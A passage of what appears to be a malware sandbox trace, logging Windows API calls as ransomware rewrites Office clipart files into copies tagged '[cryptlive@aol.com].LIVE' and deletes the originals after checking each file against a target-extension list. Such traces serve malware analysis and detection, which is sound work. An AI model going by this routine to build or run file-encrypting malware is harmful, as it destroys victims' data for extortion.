liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.083] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.083] GetLastError () returned 0x0 [0136.083] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3896, lpOverlapped=0x0) returned 1 [0136.086] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0136.087] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.087] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.087] SetEndOfFile (hFile=0x388) returned 1 [0136.087] CloseHandle (hObject=0x388) returned 1 [0136.087] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.087] SetEndOfFile (hFile=0x3a4) returned 1 [0136.090] CloseHandle (hObject=0x3a4) returned 1 [0136.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0136.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.091] lstrlenW (lpString=".doc") returned 4 [0136.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.091] lstrlenW (lpString=".docx") returned 5 [0136.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.091] lstrlenW (lpString=".pdf") returned 4 [0136.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.091] lstrlenW (lpString=".xls") returned 4 [0136.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.091] lstrlenW (lpString=".xlsx") returned 5 [0136.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.092] lstrlenW (lpString=".ppt") returned 4 [0136.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.092] lstrlenW (lpString=".zip") returned 4 [0136.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.092] lstrlenW (lpString=".rar") returned 4 [0136.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString=".bz2") returned 4 [0136.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString=".7z") returned 3 [0136.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.092] lstrlenW (lpString=".dbf") returned 4 [0136.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.092] lstrlenW (lpString=".1cd") returned 4 [0136.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.092] lstrlenW (lpString=".jpg") returned 4 [0136.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.092] lstrlenW (lpString=".doc") returned 4 [0136.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString=".docx") returned 5 [0136.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.092] lstrlenW (lpString=".pdf") returned 4 [0136.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString=".xls") returned 4 [0136.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.092] lstrlenW (lpString=".xlsx") returned 5 [0136.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.092] lstrlenW (lpString=".ppt") returned 4 [0136.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.093] lstrlenW (lpString=".zip") returned 4 [0136.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.093] lstrlenW (lpString=".rar") returned 4 [0136.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.093] lstrlenW (lpString=".bz2") returned 4 [0136.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.093] lstrlenW (lpString=".7z") returned 3 [0136.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.093] lstrlenW (lpString=".dbf") returned 4 [0136.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.093] lstrlenW (lpString=".1cd") returned 4 [0136.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0136.093] lstrlenW (lpString=".jpg") returned 4 [0136.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.093] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.093] lstrlenW (lpString="BD19988_.WMF") returned 12 [0136.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.094] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=18304) returned 1 [0136.094] CloseHandle (hObject=0x3a4) returned 1 [0136.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0136.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.094] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.094] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.095] GetLastError () returned 0x0 [0136.096] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4780, lpOverlapped=0x0) returned 1 [0136.097] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4790, lpOverlapped=0x0) returned 1 [0136.099] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.099] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.099] SetEndOfFile (hFile=0x388) returned 1 [0136.099] CloseHandle (hObject=0x388) returned 1 [0136.099] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.099] SetEndOfFile (hFile=0x3a4) returned 1 [0136.102] CloseHandle (hObject=0x3a4) returned 1 [0136.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0136.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.105] lstrlenW (lpString=".doc") returned 4 [0136.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.105] lstrlenW (lpString=".docx") returned 5 [0136.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.105] lstrlenW (lpString=".pdf") returned 4 [0136.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.105] lstrlenW (lpString=".xls") returned 4 [0136.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.105] lstrlenW (lpString=".xlsx") returned 5 [0136.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.105] lstrlenW (lpString=".ppt") returned 4 [0136.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.105] lstrlenW (lpString=".zip") returned 4 [0136.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.106] lstrlenW (lpString=".rar") returned 4 [0136.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.106] lstrlenW (lpString=".bz2") returned 4 [0136.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.106] lstrlenW (lpString=".7z") returned 3 [0136.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.106] lstrlenW (lpString=".dbf") returned 4 [0136.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.106] lstrlenW (lpString=".1cd") returned 4 [0136.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.106] lstrlenW (lpString=".jpg") returned 4 [0136.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.106] lstrlenW (lpString=".doc") returned 4 [0136.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.106] lstrlenW (lpString=".docx") returned 5 [0136.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.106] lstrlenW (lpString=".pdf") returned 4 [0136.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.106] lstrlenW (lpString=".xls") returned 4 [0136.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.106] lstrlenW (lpString=".xlsx") returned 5 [0136.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.106] lstrlenW (lpString=".ppt") returned 4 [0136.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.106] lstrlenW (lpString=".zip") returned 4 [0136.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.106] lstrlenW (lpString=".rar") returned 4 [0136.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.107] lstrlenW (lpString=".bz2") returned 4 [0136.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.107] lstrlenW (lpString=".7z") returned 3 [0136.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.107] lstrlenW (lpString=".dbf") returned 4 [0136.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.107] lstrlenW (lpString=".1cd") returned 4 [0136.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0136.107] lstrlenW (lpString=".jpg") returned 4 [0136.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.107] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.107] lstrlenW (lpString="BD20013_.WMF") returned 12 [0136.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.108] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=11058) returned 1 [0136.108] CloseHandle (hObject=0x3a4) returned 1 [0136.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0136.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.108] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.108] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.109] GetLastError () returned 0x0 [0136.109] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2b32, lpOverlapped=0x0) returned 1 [0136.111] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0136.112] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.112] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.112] SetEndOfFile (hFile=0x388) returned 1 [0136.113] CloseHandle (hObject=0x388) returned 1 [0136.113] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.113] SetEndOfFile (hFile=0x3a4) returned 1 [0136.116] CloseHandle (hObject=0x3a4) returned 1 [0136.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0136.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.117] lstrlenW (lpString=".doc") returned 4 [0136.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.117] lstrlenW (lpString=".docx") returned 5 [0136.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.117] lstrlenW (lpString=".pdf") returned 4 [0136.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.117] lstrlenW (lpString=".xls") returned 4 [0136.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.117] lstrlenW (lpString=".xlsx") returned 5 [0136.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.117] lstrlenW (lpString=".ppt") returned 4 [0136.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.117] lstrlenW (lpString=".zip") returned 4 [0136.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.118] lstrlenW (lpString=".rar") returned 4 [0136.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.118] lstrlenW (lpString=".bz2") returned 4 [0136.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.118] lstrlenW (lpString=".7z") returned 3 [0136.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.118] lstrlenW (lpString=".dbf") returned 4 [0136.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.118] lstrlenW (lpString=".1cd") returned 4 [0136.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.118] lstrlenW (lpString=".jpg") returned 4 [0136.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.118] lstrlenW (lpString=".doc") returned 4 [0136.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.118] lstrlenW (lpString=".docx") returned 5 [0136.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.118] lstrlenW (lpString=".pdf") returned 4 [0136.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.118] lstrlenW (lpString=".xls") returned 4 [0136.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.118] lstrlenW (lpString=".xlsx") returned 5 [0136.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.118] lstrlenW (lpString=".ppt") returned 4 [0136.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.118] lstrlenW (lpString=".zip") returned 4 [0136.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.119] lstrlenW (lpString=".rar") returned 4 [0136.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.119] lstrlenW (lpString=".bz2") returned 4 [0136.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.119] lstrlenW (lpString=".7z") returned 3 [0136.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.119] lstrlenW (lpString=".dbf") returned 4 [0136.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.119] lstrlenW (lpString=".1cd") returned 4 [0136.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0136.119] lstrlenW (lpString=".jpg") returned 4 [0136.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.119] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.119] lstrlenW (lpString="BL00008_.WMF") returned 12 [0136.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.120] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=12520) returned 1 [0136.120] CloseHandle (hObject=0x3a4) returned 1 [0136.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0136.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.121] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.121] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 